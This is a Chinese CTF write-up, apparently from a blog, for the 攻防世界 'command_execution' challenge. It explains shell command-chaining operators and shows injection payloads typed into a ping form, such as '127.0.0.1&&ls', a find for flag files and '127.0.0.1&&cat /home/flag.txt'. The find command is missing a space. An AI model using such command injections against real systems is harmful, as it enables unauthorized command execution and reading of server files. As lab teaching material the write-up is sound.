攻防世界 command_execution

本题考查的是命令执行漏洞,点开题目链接跳转到如下页面

 既然他让我们ping我们就将本机地址输入尝试一下,得到如下页面

 我们需要通过输入框输入恶意语句来得到flag,所以我们可以尝试利用管道符来执行payload

;A;B先执行A,再执行B
&A&B简单拼接,A B之间无制约关系
|A|B显示B的执行结果
&&A&&BA执行成功,然后才会执行B
||A||BA执行失败,然后才会执行B

 我们选择&&来进行payload的构造

127.0.0.1&&ls
127.0.0.1&&ls ../
127.0.0.1&&ls ../../

执行完以上这些命令后找到很多文件夹但没有发现flag,猜测flag可能藏在这些文件夹中,所以接下来输入

127.0.0.1&&find /-name "flag*"

这条命令执行可能需要一小会时间,完成后得到

 然后我们直接打印flag.txt文件,得到flag

127.0.0.1&&cat /home/flag.txt

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值